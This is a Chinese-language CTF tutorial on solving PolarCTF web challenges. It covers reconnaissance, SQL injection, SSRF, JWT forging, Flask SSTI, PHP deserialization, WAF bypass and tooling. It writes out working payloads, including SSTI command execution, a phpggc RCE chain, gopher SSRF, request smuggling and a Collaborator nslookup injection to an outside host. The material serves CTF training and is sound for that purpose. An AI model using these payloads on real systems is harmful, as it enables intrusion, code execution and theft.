PolarCTF Web赛题实战:从入门到进阶技巧
1. PolarCTF Web赛题实战笔记:从入门到进阶
作为一名长期活跃在CTF赛场的选手,我参加了最近几届PolarCTF比赛,发现Web类题目占比逐年提升,且难度梯度设置合理,非常适合作为Web安全学习的实战素材。本文将系统梳理我在PolarCTF Web赛题中的解题思路和技巧沉淀,涵盖基础考点到高阶漏洞利用的完整知识链。
提示:本文所有解题环境均基于PolarCTF官方提供的在线靶机或本地Docker复现环境,部分题目已对敏感信息做脱敏处理。
1.1 典型Web赛题分类解析
PolarCTF的Web题目主要分为以下几类:
信息泄露类:
- 源码泄露(.git/.svn)
- 备份文件泄露(www.zip/index.php.bak)
- 敏感接口暴露(/admin/config.php)
注入类:
- SQL注入(布尔/时间盲注)
- XSS(存储型/DOM型)
- 模板注入(SSTI)
逻辑漏洞类:
- 越权访问(水平/垂直)
- 支付逻辑漏洞
- 验证码绕过
协议特性类:
- HTTP请求走私
- SSRF利用
- CRLF注入
新兴技术类:
- WebAssembly逆向
- GraphQL接口攻击
- JWT伪造
2. 基础题目通关技巧
2.1 信息收集三板斧
在PolarCTF的初级Web题中,80%的flag可以通过系统化的信息收集发现。我的标准操作流程如下:
基础扫描:
# 使用dirsearch进行目录扫描 python3 dirsearch.py -u http://target.com -e php,html,zip,bak -x 403,404 -t 50 # 检查常见备份文件 curl http://target.com/index.php.bak wget http://target.com/www.zip源码审计: 发现源码后立即检查:
- 硬编码凭证(password/admin/secret)
- 注释中的线索(TODO/FIXME)
- 非常规接口(/debug/console)
HTTP头分析:
curl -I http://target.com # 特别注意Server/X-Powered-By/Set-Cookie等字段
2.2 SQL注入实战案例
PolarCTF 2023初赛有一道典型SQL注入题,登录界面存在过滤:
# 模拟题目过滤逻辑 def filter_input(input): blacklist = ["union", "select", "or", "and", " "] for word in blacklist: input = input.replace(word, "") return input绕过方案:
- 使用注释符替代空格:
/**/ - 大小写混合:
SeLeCt - 双重URL编码:
%2520代替空格
最终payload:
username=admin'/**/UnIoN/**/SeLeCt/**/1,2,flag/**/FrOm/**/secret_table%233. 进阶题目突破要点
3.1 SSRF绕过技巧
在PolarCTF 2024半决赛遇到一道SSRF限制题,要求访问内网http://internal/flag.php但有以下限制:
- 禁用
http:///https://协议 - 必须包含
polarctf.com域名
解决方案:
利用DNS重绑定技术:
# 配置DNS解析记录 evil.polarctf.com A记录 → 外部IP(1.1.1.1) TTL设置为0 快速修改A记录为内网IP(192.168.1.1)使用非标准协议:
gopher://internal:80/_GET%20/flag.php%20HTTP/1.1%0AHost:%20internal%0A%0A
3.2 JWT伪造实战
遇到使用JWT认证的题目时,按以下步骤操作:
获取样例JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.KEE6F7b6YwDqHk6WQq7ZQ7wQ6WQq7ZQ7wQ6WQq7ZQ7w使用jwt_tool破解弱密钥:
python3 jwt_tool.py -t http://target.com -rh "Authorization: Bearer <JWT>" -C -d wordlist.txt伪造admin权限:
import jwt new_token = jwt.encode({"user":"admin"}, "weakkey", algorithm="HS256")
4. 高频漏洞利用模板
4.1 Flask SSTI利用链
当发现Python Flask模板注入时,使用以下payload逐步测试:
基础检测:
{{7*7}} → 49 {{config}} → 显示配置信息命令执行:
{{''.__class__.__mro__[1].__subclasses__()[413]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()}}绕过过滤技巧:
- 使用
|attr()替代点号 - 十六进制编码敏感字符
- 利用字符串拼接:
'fla'+'g'
- 使用
4.2 PHP反序列化漏洞
对于PHP反序列化题目,标准攻击流程:
生成恶意序列化数据:
class Exploit { public $cmd = "cat /flag"; } echo serialize(new Exploit);寻找触发点:
unserialize($_COOKIE['data'])file_get_contents("php://input")
使用gadget链:
phpggc -l # 列出可用链 phpggc Monolog/RCE1 system "cat /flag" -p
5. 实战调试技巧
5.1 浏览器开发者工具妙用
DOM断点:
- 在元素上右键 → Break on → attribute modifications
- 追踪动态生成的JS代码
XHR拦截:
// 在Console中重写fetch const originalFetch = window.fetch; window.fetch = function() { console.log("Intercepted:", arguments); return originalFetch.apply(this, arguments); }本地覆盖:
- Sources → Overrides → 创建本地文件夹
- 修改JS/CSS文件实时生效
5.2 Burp Suite进阶用法
Intruder爆破技巧:
- 使用
Cluster bomb攻击类型处理多参数组合 - 设置
Grep - Extract自动捕获响应中的flag格式
- 使用
Macro配置:
# 自动登录后获取新session Macro: - Request: POST /login Params: username=admin&password=123456 - Extract: Set-Cookie: session=(.*?)Collaborator检测盲注:
||nslookup ${subdomain}.burpcollaborator.net||
6. 防御绕过艺术
6.1 WAF绕过实战
遇到Cloudflare等WAF时,尝试以下方法:
参数污染:
?id=1&id=union select 1,2,3--注释混淆:
/*!50000select*/ 1,2,flag from secret分块传输编码:
import requests headers = {'Transfer-Encoding': 'chunked'} data = "1\r\nA\r\n0\r\n\r\nGET /flag HTTP/1.1\r\nHost: internal\r\n\r\n" requests.post("http://target.com", headers=headers, data=data)
6.2 代码审计技巧
危险函数定位:
# PHP grep -r "eval(" src/ grep -r "system(" src/ # Java grep -r "Runtime.getRuntime().exec" src/路由分析:
# Flask路由提取 from flask import Flask app = Flask(__name__) print(app.url_map)依赖库漏洞检查:
npm audit pip-audit
7. 比赛策略与工具链
7.1 个人工具包配置
我的CTF Web渗透工具链:
基础环境:
- Kali Linux虚拟机(快照功能必备)
- Chrome + Firefox双浏览器
- Burp Suite Pro + FoxyProxy
脚本集合:
~/tools/ ├── sqlmap/ # 注入自动化 ├── ffuf/ # 目录爆破 ├── jwt_tool/ # JWT分析 ├── ysoserial/ # 反序列化 └── custom_scripts/ # 自研脚本实用小工具:
CyberChef本地部署Postman接口测试Wappalyzer技术栈识别
7.2 团队协作流程
高效团队作战模式:
任务分配:
- 信息收集(1人)
- 代码审计(2人)
- 漏洞利用(1人)
- 文档记录(1人)
知识共享:
## [Web] 题目名称 ### 发现时间 ### 解题步骤 1. 发现注入点 2. 绕过过滤 3. 获取flag ### 注意事项应急方案:
- 遇到卡题15分钟立即求助
- 每30分钟同步进展
- 最后1小时集中冲刺高分题
8. 赛后复盘与提升
8.1 错题本建设
我维护的Web漏洞错题本结构:
| 漏洞类型 | 题目名称 | 关键突破点 | 失败原因 | 解决方案 |
|---|---|---|---|---|
| SSTI | PolarCTF2023-Flask | 过滤_字符 | 未尝试` | attr()` |
| JWT | PolarCTF2024-Admin | 弱密钥爆破 | 字典不全 | 改用rockyou.txt |
8.2 技能提升路径
根据PolarCTF题目趋势制定的学习计划:
基础巩固:
- 《Web安全攻防实战》
- OWASP Top 10实验
专项突破:
- 每周2道SSTI题目
- 研究新型WAF绕过技术
实战演练:
- HackTheBox Web挑战
- CTFtime赛事日历
在最近一次PolarCTF比赛中,我通过系统化的信息收集发现了一个被遗忘的.git目录,通过git reset --hard恢复了被删除的config.php文件,其中包含数据库凭证。这个经验让我意识到,即使在看似严密的系统中,开发人员的疏忽往往是最脆弱的突破口。建议新手玩家养成检查版本控制目录的习惯,这个简单的动作可能带来意外收获。